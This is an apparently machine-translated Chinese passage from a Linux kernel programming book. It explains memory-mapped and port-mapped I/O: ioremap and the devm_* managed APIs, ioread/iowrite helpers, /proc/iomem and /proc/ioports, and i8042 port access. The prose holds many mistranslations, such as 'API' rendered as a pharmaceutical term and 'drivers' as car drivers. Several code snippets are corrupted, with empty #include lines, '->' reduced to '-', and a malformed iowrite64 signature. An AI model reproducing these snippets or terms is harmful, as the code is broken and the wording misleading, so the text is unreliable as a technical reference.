-为了更清楚地说明这一点,让我们看一个真实的例子:树莓皮。如您所知,这款流行的主板使用的是 Broadcom BCM2835(或更高版本)SoC。位于[https://github . com/raspberrpi/documentation/blob/master/hardware/raspberrpi/BCM 2835/BCM 2835-ARM-外设. pdf](https://github.com/raspberrypi/documentation/blob/master/hardware/raspberrypi/bcm2835/BCM2835-ARM-Peripherals.pdf) (位于*第 90 页*上)的 *BCM2835 ARM 外设*文档提供了其物理内存映射的一小部分的截图。SoC 的**通用输入/输出** ( **GPIO** )寄存器的映射显示了处理器地址空间中硬件输入/输出存储器的一部分: - -![](img/7722610d-9047-4246-a6c8-0584fd0b363e.png) - -Figure 3.1 – Physical memory map on the BCM2835 showing the GPIO register bank Well, the reality is more complex; the BCM2835 SoC has multiple MMUs: one – the VC/ARM MMU (**VC** stands for **VideoCore** here) – translates the ARM bus address into the ARM physical address, after which the regular ARM MMU translates the physical address into a virtual address. Take a look at the diagram on *page 5* of the aforementioned *BCM2835 ARM Peripherals* document to see this. - -正如我们所看到的,这是一个寄存器块(或存储体),一个 32 位寄存器的集合,用于类似的目的(这里是 GPIO)。在上图中,我们当前目的的关键列是第一列,即**地址**列:这是物理或总线地址,是 ARM 处理器物理地址空间中它看到 GPIO 寄存器的位置。它从`0x7e20 0000`开始(因为这是前面截图中的第一个地址),并且长度有限(这里,它被记录为具有 41 个寄存器,每个寄存器 32 位,所以我们将该区域的长度取为 *41 * 4* 字节)。 - -## 使用 ior emap *(API) - -现在,正如我们在*中看到的,理解直接访问*部分的问题,试图在这些物理或总线地址上直接执行输入/输出是行不通的。我们应该这样做的方法是告诉 Linux 将**这些总线地址映射到**内核的 VAS 中,这样我们就可以通过**内核虚拟地址** ( **KVAs** )访问它!我们如何做到这一点?内核为此提供了 APIs 驱动作者使用的一个非常常见的是`ioremap()` API。其签名如下: - -```sh -#include -void __iomem *ioremap(phys_addr_t offset, size_t size) -``` - -`asm/io.h`头文件根据需要成为一个特定于 arch 的头文件。注意`ioremap()`的第一个参数是物理(或总线)地址(它的数据类型是`phys_addr_t`)。作为驱动程序作者,这是 Linux 中少有的必须提供物理地址而不是虚拟地址的情况(另一种典型情况是在执行**直接内存访问** ( **DMA** )操作时)。第二个参数很明显;这是我们必须映射的内存 I/O 区域的大小或长度。调用时,`ioremap()`例程将从`offset`开始将长度为`size`字节的输入/输出芯片或外围存储器映射到内核的 VAS 中!这是必要的——以内核特权运行,你的驱动现在可以通过返回指针访问这个输入/输出内存区域,从而在内存区域上执行输入/输出。 - -Think about it! Just like the `mmap()` system call allows you to memory map a region of KVA space to a user space process, the `[devm_]ioremap*()` (and friends) APIs allow you to map a region of peripheral I/O memory to the KVA space. - -`ioremap()` API 返回一个`void *`类型的 KVA(因为它是一个地址位置)。那么,这里有什么奇特的`__iomem`指令(`void __iomem *`)?它只是一个编译器属性,在构建时会被删除;它只是提醒我们人类(以及执行健全性检查或查看静态分析代码)这是一个输入/输出地址,而不是您的常规内存地址! - -因此,对于前面的示例,在树莓 Pi 设备上,您可以通过执行以下操作将 GPIO 寄存器库映射到 KVA(这不是实际的代码,而是一个向您展示如何调用`ioremap()` API 的示例): - -```sh -#define GPIO_REG_BASE 0x7e200000 -#define GPIO_REG_LEN 164 // 41 * 4 -static void __iomem *iobase; -[...] -if (!request_mem_region(GPIO_REG_BASE, GPIO_REG_LEN, "mydriver")) { - dev_warn(dev, "couldn't get region for MMIO, aborting\n"); - return -EBUSY; // or -EINVAL, as appropriate -} -iobase = ioremap(GPIO_REG_BASE, GPIO_REG_LEN); -if (!iobase) // handle any error - [... perform the required IO ... ] -iounmap(iobase); -release_mem_region(GPIO_REG_BASE, GPIO_REG_LEN); -``` - -`iobase`变量现在保存来自`ioremap()`的返回值;这是一个 KVA,一个内核虚拟地址。您现在可以使用它,只要它是非空的(您应该验证这一点!).因此,在这个例子中,来自`ioremap()`的返回值是内核 VAS 中树莓 Pi 的 GPIO 寄存器(外围输入/输出存储器)现在映射和可用的地方。 - -一旦完成,您需要使用`iounmap()` API 取消映射(如前面的代码片段所示);`iounmap()`应用编程接口的参数是显而易见的——输入/输出映射的开始(由`ioremap()`返回的值): - -```sh -void iounmap(volatile void __iomem *io_addr); -``` - -因此,当我们将(GPIO 寄存器)输入/输出内存映射到内核 VAS 时,我们得到了一个 KVA,这样我们就可以使用它。有趣的是,来自`ioremap()` API 的返回值通常是内核 VAS 的 *vmalloc* 区域内的一个地址(有关这些详细信息,请参考配套指南 *Linux 内核编程* - [第 7 章](3.html)、*内存管理内部组件–要点*)。这是因为`ioremap` 通常会从内核的 vmalloc 区域分配并使用所需的虚拟内存进行映射(但情况并非总是如此;像`ioremap_cache()`这样的变体可以使用 vmalloc 以外的区域。在这里,假设返回值——我们的`iobase`地址——是`0xbbed 8000`(参考图 3.2:这里有一个 2:2 GB 的虚拟机分割,您可以看到`iobase`返回地址确实是内核 vmalloc 区域内的一个 KVA)。 - -以下是显示这一点的概念图: - -![](img/ca8067d9-46ef-4063-9399-b711a79e04ac.png) - -Figure 3.2 – The physical-to-virtual mapping of I/O peripheral memory - -将前面的图表(*图 3.2* )与我们在配套指南 *第 7 章* *内存管理内部组件-要点* ( *图 7.12* )中介绍的树莓 Pi 上内核 VAS 的详细图表进行比较,是一件有趣的事情。 - -(在 Aarch64 或 ARM64 处理器上看到一个显示内存物理/虚拟映射的类似图表也很有教育意义;你可以在 ARM 官方文档中查找;即*内存管理单元*部分下的 *ARM Cortex-A 系列程序员指南 ARM V8-A*-查看*图 12.2:**[https://developer . ARM . com/documentation/den0024/A/The-Memory-Management-Unit](https://developer.arm.com/documentation/den0024/a/The-Memory-Management-Unit)。)* - - *## 较新的种类 devm _ *管理的应用编程接口 - -现在你明白了如何使用`request_mem_region()`和刚刚看到的`ioremap*()`API,你猜怎么着?现实是这两种 API 现在都被认为是不推荐使用的;作为一个现代驱动程序作者,你应该使用更好的资源管理`devm_*`API。(出于一些原因,我们介绍了较旧的驱动程序,包括许多较旧的驱动程序仍在大量使用它们,以了解使用`ioremap()`资源管理 API 的基础知识,并确保完整性。) - -首先,让我们在`lib/devres.c`中查看新的资源管理 ioremap,称为`devm_ioremap()`: - -```sh -/** - * devm_ioremap - Managed ioremap() - * @dev: Generic device to remap IO address for - * @offset: Resource address to map - * @size: Size of map - * - * Managed ioremap(). Map is automatically unmapped on driver detach. - */ -void __iomem *devm_ioremap(struct device *dev, resource_size_t offset, - resource_size_t size) -``` - -正如我们在非常常见的`kmalloc`*/*`kzalloc`API(参考配套指南 *Linux 内核编程、* *第 8 章*、*模块作者的内核内存分配–第 1 部分*)中了解到的那样,`devm_kmalloc()`和`devm_kzalloc()`API 简化了我们的生活,因为它们保证释放在设备分离或驱动程序移除时分配的内存。以类似的方式,使用`devm_ioremap()`意味着您不需要显式调用`iounmap()` API,因为内核的 *devres* 框架将在驱动程序分离时处理它! - -Again, since this book is not primarily focused on writing device drivers, we shall mention bit not delve into deep details of using the modern **Linux Device Model** (**LDM**) with the `probe()` and `remove()`/`disconnect()` hooks. Other literature dedicated to this subject can be found in the *Further reading* section, at the end of this chapter. - -请注意,任何`devm_*()` API 的第一个参数都是指向`struct device`的指针(我们在[第 1 章](1.html)*编写简单的杂项字符设备驱动程序*中向您展示了如何获取这个参数,当时我们介绍了如何编写简单的`misc`驱动程序)。 - -### 获取设备资源 - -`devm_ioremap()` API 的第二个参数(见上节的签名)是`resource_size_t offset`。形式参数名`offset`有点误导——它实际上是外围 I/O 内存区域的物理或总线地址,用于重新映射到内核 VAS(事实上,`resource_size_t`数据类型只不过是物理地址`phys_addr_t`的`typedef`。 - -This and the following section's coverage is **important for Linux device driver authors** since it introduces some key ideas (the **Device Tree** (**DT**), the platform and `devres` APIs, and so on) and encompasses some very common strategies that are employed. - -但是如何获得`devm_ioremap()` API 的第一个参数——总线或物理地址呢?一个常见问题!当然,这是设备特有的。话虽如此,起始总线或物理地址只是驱动程序作者可以——有时必须——指定的几个输入/输出资源之一。Linux 内核为此提供了一个强大的框架——输入/输出资源管理框架,因为它允许您获取/设置硬件资源。 - -There are several kinds of resources available; it includes device MMIO ranges, I/O port ranges, **interrupt request** (**IRQ**) lines, register offsets, DMAs, and bus values. - -现在,为了使所有这些工作正常进行,必须在每个设备的基础上指定输入/输出资源。有两种广泛的方法可以做到这一点: - -* **传统方法**:通过将它们(输入/输出资源)硬编码到内核源代码树中,通常称为特定于板的文件。(例如,对于流行的 ARM CPU,这些通常在`arch/arm/mach->foo/...`找到,其中`foo`是机器(`mach`)或平台/板名。再举一个例子,在 Linux 3.10.6 中,这些特定于主板的文件中定义的平台设备数量为 1,670 个;迁移到现代 DT 方法后,对于 5.4.0 内核源代码树,这个数字减少到了 885。) - -* **现代方法**:将它们(输入/输出资源)放置在操作系统启动时可以发现的位置;对于嵌入式系统,如 ARM-32、AArch64 和 PPC,通常通过一种称为 DT(类似于 VHDL)的硬件特定语言来描述板或平台的硬件拓扑(其上的所有硬件,如 SoC、CPU、外设、磁盘、闪存芯片、传感器芯片等)。**设备树源** ( **DTS** )文件位于内核源树下(对于 ARM,在`arch/arm/boot/dts/`中),并在内核构建时编译(通过 DT 编译器;也就是说,`dtc`)转换成称为**设备树 Blob** ( **DTB** )的二进制格式。DTB 通常在引导时由引导加载程序传递给内核。在早期引导期间,内核读入、展平并解释 DTB,根据需要创建平台(和其他)设备,然后将它们绑定到相应的驱动程序。 - -The DT isn't present for x86[_64] systems. The closest equivalent is perhaps the ACPI tables. Also, note that the DT isn't a Linux-specific technology; it was designed to be OS-agnostic, and the generic org is called **Open Firmware** (**OF**). - -正如我们之前提到的,在这个现代模型中,内核和/或设备驱动程序必须从 DTB 获得资源信息(它被填充在`include/linux/ioport.h:struct resource`中)。怎么做?平台驱动程序通常这样做的一种常见方式是通过`platform_get_*()`应用编程接口。 - -我们希望通过内核源码中的一个**视频 For Linux** ( **V4L** )媒体控制器驱动程序的例子来说明这一点。该驱动程序用于三星 Exynos 4 SoC 上的 SP5 电视混音器(在某些 Galaxy S2 型号中使用)。在 *V4L 驱动程序特定文档*部分下,甚至有一些内核文档:https://www . kernel . org/doc/html/v 5 . 4/media/V4L-drivers/fimc . html # the-Samsung-s5p-exy nos 4-fimc-driver。 - -以下代码可以在`drivers/gpu/drm/exynos/exynos_mixer.c`找到。这里,驱动程序利用`platform_get_resource()` API 获取 I/O 内存资源的值;也就是说,该外围芯片的输入/输出存储器的起始物理地址: - -```sh - struct resource *res; - [...] - res = platform_get_resource(mixer_ctx-pdev, IORESOURCE_MEM, 0); - if (res == NULL) { - dev_err(dev, "get memory resource failed.\n"); - return -ENXIO; - } - - mixer_ctx->mixer_regs = devm_ioremap(dev, res-start, - resource_size(res)); - if (mixer_ctx->mixer_regs == NULL) { - dev_err(dev, "register mapping failed.\n"); - return -ENXIO; - } - [...] -``` - -在前面的代码片段中,驱动程序发出`platform_get_resource()` API 来获取指向`IORESOURCE_MEM`类型资源(MMIO 内存!).然后,它发布`devm_ioremap()`应用编程接口,将这个 MMIO 地区映射到内核增值服务中(如前一节中详细解释的)。使用`devm`版本减轻了在完成时(或由于错误)手动取消映射输入/输出内存的需要,从而减少了泄漏的机会! - -### 与 devm_ioremap_resource()应用编程接口合二为一 - -作为一个驱动作者,你应该意识到并使用这个有用的例程:`devm_ioremap_resource()`托管 API 执行(有效性)检查请求的 I/O 内存区域的工作,从内核请求它(内部通过`devm_request_mem_region()` API),并重新映射它(内部通过`devm_ioremap()`)!这使得它对于像您这样的驱动程序作者来说是一个有用的包装器,并且它的使用非常普遍(在 5.4.0 内核代码库中,它被使用了 1400 多次)。其签名如下: - -```sh -void __iomem *devm_ioremap_resource(struct device *dev, const struct resource *res); -``` - -这里有一个来自`drivers/char/hw_random/bcm2835-rng.c`的用法示例: - -```sh -static int bcm2835_rng_probe(struct platform_device *pdev) -{ - [...] - struct resource *r; - [...] - r = platform_get_resource(pdev, IORESOURCE_MEM, 0); - - /* map peripheral */ - priv->base = devm_ioremap_resource(dev, r); - if (IS_ERR(priv->base)) - return PTR_ERR(priv->base); - [...] -``` - -同样,如同现代 LDM 的典型情况,该代码作为驱动程序的探测例程的一部分来执行。此外(同样,这是非常常见的),首先使用`platform_get_resource()` API,以便获取物理(或总线)地址的值并将其放入`resource`结构中,该结构的地址作为第二个参数传递给`devm_ioremap_resource()`。使用 MMIO 的输入/输出内存,现在被检查,请求,并重新映射到内核 VAS,准备好供驱动程序使用! - -You may have come across the `devm_request_and_ioremap()` API which was commonly used for similar purposes; back in 2013, it was replaced with the `devm_ioremap_resource()` API. - -最后还有`ioremap()`的几个变体。`[devm_]ioremap_nocache()`和`ioremap_cache()`应用编程接口就是这样的例子,它们会影响中央处理器的缓存模式。 - -Driver authors would do well to carefully read the (arch-specific) comments in the kernel source where these routines are; for example, on the x86 at `arch/x86/mm/ioremap.c:ioremap_nocache()`. - -现在,已经介绍了如何获取资源信息和使用现代`devm_*()`管理的 API 的重要部分,让我们学习如何解释关于 MMIO 的`/proc`的输出。 - -## 通过/proc/iomem 查找新映射 - -一旦您执行了映射(通过刚刚介绍的`[devm_]ioremap*()`API 之一),它实际上可以通过只读伪文件看到;也就是`/proc/iomem`。现实是当你成功调用`request_mem_region()`时,会在`/proc/iomem`下生成一个新条目。查看它需要 root 访问权限(更正确地说,您可以将其视为非 root,但只会看到所有地址为`0`;这是出于安全目的)。因此,让我们在值得信赖的 x86_64 Ubuntu 来宾虚拟机上看看这个。在下面的输出中,由于缺少空间,为了清楚起见,我们将显示它被部分截断: - -```sh -$ sudo cat /proc/iomem -[sudo] password for llkd: -00000000-00000fff : Reserved -00001000-0009fbff : System RAM -0009fc00-0009ffff : Reserved -000a0000-000bffff : PCI Bus 0000:00 -000c0000-000c7fff : Video ROM -000e2000-000ef3ff : Adapter ROM -000f0000-000fffff : Reserved -000f0000-000fffff : System ROM -00100000-3ffeffff : System RAM -18800000-194031d0 : Kernel code -194031d1-19e6a1ff : Kernel data -1a0e2000-1a33dfff : Kernel bss -3fff0000-3fffffff : ACPI Tables -40000000-fdffffff : PCI Bus 0000:00 -[...] -fee00000-fee00fff : Local APIC -fee00000-fee00fff : Reserved -fffc0000-ffffffff : Reserved -$ -``` - -真正需要认识到的重要一点是,左侧栏中显示的地址范围不是虚拟的–**它们是物理(或总线)地址**。您可以看到系统(或平台)内存的映射位置。此外,在其中,您可以看到内核代码、数据和 bss 部分的确切位置(就物理地址而言)。事实上,我的`procmap`实用程序([https://github.com/kaiwan/procmap](https://github.com/kaiwan/procmap))正是使用了这些信息(将物理地址转换为虚拟地址)。 - -为了进行一些对比,让我们在我们的树莓 Pi 3 设备上运行相同的命令(B+型号配备了博通 BCM2837 SoC 和四核 ARM Cortex A53)。同样,由于空间限制,为了清楚起见,我们将显示部分截断的输出: - -```sh -pi@raspberrypi:~ $ sudo cat /proc/iomem -00000000-3b3fffff : System RAM -00008000-00bfffff : Kernel code -00d00000-00e74147 : Kernel data -3f006000-3f006fff : dwc_otg -3f007000-3f007eff : dma@7e007000 -[...] -3f200000-3f2000b3 : gpio@7e200000 -3f201000-3f2011ff : serial@7e201000 -3f201000-3f2011ff : serial@7e201000 -3f202000-3f2020ff : mmc@7e202000 -[...] -pi@raspberrypi:~ $ -``` - -注意 GPIO 寄存器组如何显示为`gpio@7e200000`,正如我们在*图 3.1* 中看到的,这是物理地址。您可能想知道为什么 ARM 上的格式看起来不同于 x86_64。左栏现在是什么意思?在这里,内核允许 BSP/平台团队决定他们具体如何构建和设置(通过`/proc/iomem`)用于显示的 I/O 内存区域,这很有意义!他们最了解硬件平台。我们之前提到过这一点,但事实是 BCM2835 SoC(树莓 Pi 使用的)有多个 MMU。一种这样的 MMU 是粗粒度 VC/ARM MMU,它将 ARM 总线地址翻译成 ARM 物理地址,之后常规的 ARM MMU 将物理地址翻译成虚拟地址。因此,在这里,ARM 总线地址`start-end`值显示在左列,ARM 物理地址显示为`@`符号(`gpio@xxx`)的后缀。因此,对于前面映射的 GPIO 寄存器,ARM 总线地址为`3f200000` - `3f2000b3`,ARM 物理地址为`0x7e200000`。 - -让我们通过提及关于`/proc/iomem`伪文件的几点来结束这一部分: - -* `/proc/iomem`显示当前由内核和/或各种设备驱动程序映射的物理(和/或总线)地址。然而,确切的显示格式非常依赖于拱门和设备。 -* 每当`request_mem_region()`应用编程接口运行时,都会为`/proc/iomem`生成一个条目。 -* 当相应的`release_mem_region()`应用编程接口运行时,该条目被删除。 -* 你可以在`kernel/resource.c:ioresources_init()`找到相关的内核代码。 - -那么,现在您已经成功地将输入/输出内存区域映射到内核 VAS,您将如何实际读取/写入这个输入/输出内存呢?MMIO 有哪些宣传短片?下一节将深入探讨这个主题。 - -## MMIO–执行实际的输入/输出 - -当使用 MMIO 方法时,外围输入/输出内存被映射到内核 VAS,因此对您(驱动程序作者)来说,就像内存一样,是普通的旧内存。我们在这里需要小心:有一些警告和注意事项需要遵守。你是*而不是*期望把这个区域当作普通的老 RAM,通过通常的 C 例程直接访问! - -在接下来的部分中,我们将向您展示如何对通过 MMIO 方法重新映射的任何外围输入/输出区域执行输入/输出(读和写)。我们将从执行小型(1 到 8 字节)输入/输出的非常常见的情况开始,然后继续重复输入/输出,然后看看如何`memset`和`memcpy`MMIO 区域。 - -### 对 MMIO 存储区域执行 1 到 8 字节的读写操作 - -那么,您究竟如何通过 MMIO 方法在外围输入/输出内存上访问和执行输入/输出(读和写)?内核提供允许你读写芯片内存的 API。通过使用这些应用编程接口(或宏/内联函数),您可以以四种可能的位宽执行输入/输出,如读和写;也就是 8 位、16 位、32 位,在 64 位系统上是 64 位: - -* MMIO 读作:`ioread8()`、`ioread16()`、`ioread32()`和`ioread64()` -* MMIO 写道:`iowrite8()`、`iowrite16()`、`iowrite32()`和`iowrite64()` - -**输入输出读取程序**的签名如下: - -```sh -#include -u8 ioread8(const volatile void __iomem *addr); -u16 ioread16(const volatile void __iomem *addr); -u32 ioread32(const volatile void __iomem *addr); -#ifdef CONFIG_64BIT -u64 ioread64(const volatile void __iomem *addr); -#endif -``` - -`ioreadN()`应用编程接口的单个参数是必须读取的输入/输出存储单元的地址。通常,它是从我们看到的某个`*ioremap*()`API 中获得的返回值,加上一个偏移量(该偏移量可能是`0`)。向基(`__iomem`)地址添加偏移量是一件非常常见的事情,因为硬件设计人员故意以这样一种方式布局寄存器,即它们可以很容易地被软件按顺序访问,如数组(或寄存器组)!驱动程序作者利用了这一点。当然,这没有捷径可走,因为你不能假设任何事情——你必须仔细研究为其编写驱动程序的特定输入/输出外设的数据表;魔鬼在于细节! - -`u8`返回类型是指定无符号 8 位数据类型的`typedef`(相反,`s`前缀表示有符号数据类型)。其他数据类型也是如此(有`s8`、`u8`、`s16`、`u16`、`s32`、`u32`、`s64`和`u64`,都非常有用且明确)。 - -**输入输出写程序**的签名如下: - -```sh -#include -void iowrite8(u8 value, volatile void __iomem *addr); -void iowrite16(u16 value, volatile void __iomem *addr); -void iowrite32(u32 value, volatile void __iomem *addr); -#ifdef CONFIG_64BIT -void u64 iowrite64(u64 value, const volatile void __iomem *addr); -#endif -``` - -`iowriteN()`API 的第一个参数是要写入的值(具有适当的位宽),而第二个参数指定要写入的位置;也就是 MMIO 地址(同样,这是通过其中一个`*ioremap*()`API 获得的)。请注意,没有返回值。这是因为这些输入/输出例程实际上在硬件上工作,所以它们没有失败的问题:它们总是成功的!当然,现在您的驱动程序可能仍然不工作,但这可能是由于许多原因(资源不可用、映射错误、使用错误的偏移量、定时或同步问题等)。但是,输入/输出例程仍然可以工作。 - -A common test that driver authors use to fundamentally test the driver's/hardware's sanity is that they write a value, `n`, into a register and read it back; you should get the same value (`n`). (Of course, this only holds true if the register/hardware won't immediately change or consume it.) - -### 对 MMIO 存储区域执行重复输入/输出 - -`ioread[8|16|32|64]()`和`iowrite[8|16|32|64]()`应用编程接口只能处理 1 到 8 字节的小数据量。但是如果我们想读或写几十或几百字节呢?您总是可以在一个循环中编码这些 API。然而,内核正是预料到了这一点,提供了更高效的助手例程,这些例程在内部使用紧密的汇编循环。这些就是所谓的 MMIO 原料药的重复版本: - -* 为了阅读,我们有`ioread[8|16|32|64]_rep()`套 API。 -* 对于写作,我们有`iowrite[8|16|32|64]_rep()`套 API。 - -让我们看看其中一个的签名;即 8 位重复读取。其余的读数完全类似: - -```sh -#include - -void ioread8_rep(const volatile void __iomem *addr, void *buffer, unsigned int count); -``` - -这将从源地址`addr`(MMIO 位置)读取`count`字节到由`buffer`指定的(内核空间)目标缓冲区。同样,以下是重复 8 位写入的签名: - -```sh -void iowrite8_rep(volatile void __iomem *addr, const void *buffer, unsigned int count); -``` - -这将把`count`字节从源(内核空间)缓冲区(`buffer`)写入目的地址`addr`(MMIO 位置)。 - -除了这些 API 之外,内核确实有一些助手,它们是这些 API 的变体;例如,对于字节序,它提供`ioread32be()`,其中`be`是大端序。 - -### MMIO 存储区域的设置和复制 - -内核还为使用 MMIO 时的`memset()`和`memcpy()`操作提供了助手例程。请注意,您必须使用以下助手: - -```sh -#include linux/io.h - -void memset_io(volatile void __iomem *addr, int value, size_t size); -``` - -这将把输入/输出存储器从起始地址`addr`(MMIO 位置)设置为由`size`字节的`value`参数指定的值。 - -为了复制内存,根据内存传输的方向,有两个助手例程可用: - -```sh -void memcpy_fromio(void *buffer, const volatile void __iomem *addr, size_t size); -void memcpy_toio(volatile void __iomem *addr, const void *buffer, size_t size); -``` - -第一个将内存从 MMIO 位置`addr`复制到(内核空间)目标缓冲区(`buffer`)以获取`size`字节;第二个例程将内存从(内核空间)源缓冲区(`buffer`)复制到目标 MMIO 位置`addr`,以获取`size`字节。同样,对于所有这些助手,请注意没有返回值;他们总是成功。另外,对于前面的所有例程,请确保包含`linux/io.h`标题。 - -Originally, the `asm/io.h` header was typically included. However, now, the `linux/io.h` header is an abstraction layer above it and internally includes the `asm/io.h` file. - -需要注意的是,内核有执行 MMIO 的旧助手例程;这些是`read[b|w|l|q]()`和`write[b|w|l|q]()` API 助手。这里,以读/写为后缀的字母指定位宽;这真的非常简单: - -* `b`:字节宽(8 位) -* `w`:字宽(16 位) -* `l`:长宽(32 位) -* `q`:四字宽(64 位);仅在 64 位机器上可用 - -请注意,对于现代内核,您是*而不是期望使用这些例程的*,而是前面提到的`ioread/iowrite[8|16|32|64]()`应用编程接口助手。我们在这里提到它们的唯一原因是仍然有几个驱动程序使用这些旧的助手例程。语法和语义完全类似于较新的助手,所以如果需要的话,我会让您去查找它们。 - -让我们通过总结**驾驶员在执行 MMIO** 时遵循的典型顺序来结束这一部分(不要过多关注我们到目前为止所涉及的所有细节): - -1. 通过`request_mem_region()`向内核请求内存区域(在`*/*proc/iomem`中生成一个条目)。 -2. 通过`[devm_]ioremap[_resource|[no]cache()`将外设 I/O 内存重新映射到内核 VAS 现代司机通常使用托管的“T1”(或“T2”应用编程接口)来做到这一点 -3. 通过一个或多个现代助手例程执行实际的输入/输出: - * `ioread[8|16|32|64]()` - * `iowrite[8|16|32|64]()` - * `memset_io() / memcpy_fromio() / memcpy_toio()` - * (老帮工套路:`read[b|w|l|q]()`和`write[b|w|l|q]()`) - -4. 完成后,取消 MMIO 地区的地图;也就是`iounmap()`。只有在需要时才这样做(当使用托管`devm_ioremap*()`应用编程接口时,这是不必要的)。 -5. 通过`release_mem_region()`将 MMIO 区域释放回内核(清除`/proc/iomem`中的条目)。 - -随着 MMIO 成为与外围芯片通信的强大手段,你可能会想象所有驱动程序(包括所谓的总线驱动程序)都是为使用它(和/或端口输入/输出)而设计和编写的,但事实并非如此。这是由于性能问题。说了这么多,做了这么多,在外设上执行 MMIO(或 PMIO)需要处理器持续的交互和关注。这一点,在许多类别的设备上(想想你的智能手机或平板电脑上的高清流媒体内容!),只是太慢了。那么,与外设通信的高性能方式是什么?答案是 DMA *,*这个话题不幸超出了本书的范围(请查看*进一步阅读*部分,了解关于 DMA 的有用驱动程序书籍和资源的建议)。那么,MMIO 用在哪里?实际上,它用于大量低速外设,包括状态和控制操作。 - -虽然 MMIO 是在外围设备上执行输入/输出的最常见方式,但端口输入/输出是另一种方式。所以,让我们学习如何使用它。 - -# 理解和使用端口映射输入/输出 - -正如我们之前在*解决方案中提到的——通过 I/O 内存或 I/O 端口进行映射*部分,除了 MMIO 之外,还有另一种在外围设备内存上执行 I/O 的方法,称为 PMIO、或通常简称为**【PIO】**。它的工作方式与 MMIO 截然不同。这里,中央处理器有不同的汇编(和相应的机器)指令,使其能够直接读写输入/输出内存位置。不仅如此,这个输入/输出内存范围完全是一个独立的地址空间,不同于内存。这些内存位置称为端口。不要将这里使用的术语**端口**与网络技术中使用的术语混淆;把这个端口想象成一个**硬件寄存器**,因为它非常接近这个意思。(虽然通常是 8 位,但外设芯片寄存器实际上可以有三种位宽:8 位、16 位或 32 位。) - -现实情况是,大多数现代处理器,即使它们支持具有独立输入/输出端口地址空间的 PMIO,也倾向于使用 MMIO 方法进行外围输入/输出映射。除了 MMIO 之外,支持 PMIO 并经常使用它的主流处理器系列是 x86。在这些处理器上,正如它们的**物理内存映射**中所记录的,有一系列地址位置被保留用于此目的。这被称为**端口地址范围**,并且通常在 x86 上从物理地址`0x0`跨越到`0xffff`;也就是说,长度为 64 千字节。这个区域包含哪些寄存器?通常,在 x86 上,有各种输入/输出外设的寄存器(通常是数据/状态/控制)。常见的有 i8042 键盘/鼠标控制器芯片、 **DMA 控制器** ( **DMAC** )、定时器、RTC 等等。我们将在*通过/proc/ioport*查找 *端口部分详细了解这些内容。* - -## PMIO–执行实际的输入/输出 - -与我们在 MMIO 看到的所有喧闹相比,端口输入/输出非常简单。这是因为处理器提供机器指令来直接执行工作。当然,就像 MMIO 一样,您需要礼貌地向内核请求访问 PIO 地区的许可(我们在*请求内核许可*一节中介绍了这一点)。这样做的 API 是`request_region()`和`release_region()`(它们的参数与 MMIO 对应的 API 相同)。 - -那么,如何在 *I/O* *端口*上访问和执行 I/O(读和写)?同样,内核为底层汇编/机器指令提供了 API 包装器,以便进行读写。使用它们,您可以以三种可能的位宽执行输入/输出读写;即 8 位、16 位和 32 位: - -* PMIO 写着:`inb()`、`inw()`和`inl()` -* PMIO 写道:`outb()``outw()``outl()` - -非常直观地说,`b`表示字节宽(8 位)`w`表示字宽(16 位)`l`表示长宽(32 位)。 - -**端口输入输出读取程序**的签名如下: - -```sh -#include -u8 inb(unsigned long addr); -u16 inw(unsigned long addr); -u32 inl(unsigned long addr); -``` - -`in[b|w|l]()`包装器的单个参数是将被读取的端口输入/输出存储器位置的端口地址。我们在*获取设备资源*一节中介绍了这一点(对于像您这样的驱动程序开发人员来说,这是一个非常关键的部分!).A **端口**也是一种资源,这意味着可以通过通常的方式获取:在现代嵌入式系统上,这是通过解析*设备树*(或 ACPI 表)来完成的;旧的方法是在特定于电路板的源文件中硬编码这些值。实际上,对于许多常见的外设,端口号或端口地址范围是众所周知的,这意味着它可以被硬编码到驱动程序中(这通常发生在驱动程序的头文件中)。同样,最好不要简单地假设任何事情,确保参考相关外设的数据手册。 - -现在,让我们回到 API。返回值是一个无符号整数(位宽是变化的,取决于所使用的助手例程)。它是发出读取命令时该端口(寄存器)上的当前值。 - -**端口输入输出写程序**的签名如下: - -```sh -#include -void outb(u8 value, unsigned long addr); -void outw(u16 value, unsigned long addr); -void outl(u32 value, unsigned long addr); -``` - -第一个参数是要写入硬件(端口)的值,而第二个参数是要写入的端口 I/O 内存的端口地址。同样,和 MMIO 一样,没有失败的问题,因为这些辅助输入/输出例程总是成功的。至少在 x86 上,对输入/输出端口的写入保证在下一条指令执行之前完成。 - -### PIO 的一个例子 i8042 - -为了让事情变得更清楚,让我们看一些来自 i8042 键盘和鼠标控制器的设备驱动程序的代码片段,虽然现在认为它很旧,但在 x86 系统上仍然非常常见。 - -You can find a basic schematic of the 8042 controller here: [https://wiki.osdev.org/File:Ps2-kbc.png](https://wiki.osdev.org/File:Ps2-kbc.png). - -有趣的部分(至少对我们来说)在驱动程序的头文件中: - -```sh -// drivers/input/serio/i8042-io.h -/* - * Register numbers. - */ -#define I8042_COMMAND_REG 0x64 -#define I8042_STATUS_REG 0x64 -#define I8042_DATA_REG 0x60 -``` - -在前面的代码片段中,我们可以看到这个驱动程序使用的输入/输出端口或硬件寄存器。状态寄存器和数据寄存器是如何解析到同一个输入/输出端口(`0x64`)地址的?*方向*重要:读它有 I/O 端口`0x64`表现为状态寄存器,而写它有它表现为命令寄存器!此外,数据表将显示这些是 8 位寄存器;因此,在这里,实际的输入/输出是通过`inb()`和`outb()`助手执行的。驱动程序在小的内联例程中进一步抽象这些: - -```sh -[...] -static inline int i8042_read_data(void) -{ - return inb(I8042_DATA_REG); -} -static inline int i8042_read_status(void) -{ - return inb(I8042_STATUS_REG); -} -static inline void i8042_write_data(int val) -{ - outb(val, I8042_DATA_REG); -} -static inline void i8042_write_command(int val) -{ - outb(val, I8042_COMMAND_REG); -} -``` - -当然,现实是这个驱动程序要做的远不止这些(比我们在这里展示的更多),包括处理硬件中断、初始化和使用多个端口、阻止读写、刷新缓冲区、在内核死机时闪烁键盘指示灯等等。我们在这里不再深入调查了。 - -## 通过/proc/ioport 查找端口 - -内核通过`/proc/ioports`伪文件提供一个进入端口地址空间的视口。让我们在 x86_64 来宾虚拟机上检查一下(同样,我们只显示了部分输出): - -```sh -$ sudo cat /proc/ioports -[sudo] password for llkd: -0000-0cf7 : PCI Bus 0000:00 - 0000-001f : dma1 - 0020-0021 : pic1 - 0040-0043 : timer0 - 0050-0053 : timer1 - 0060-0060 : keyboard - 0064-0064 : keyboard - 0070-0071 : rtc_cmos - 0070-0071 : rtc0 -[...] - d270-d27f : 0000:00:0d.0 - d270-d27f : ahci -$ -``` - -我们用粗体突出显示了键盘端口。请注意端口号如何与我们之前看到的 i8042 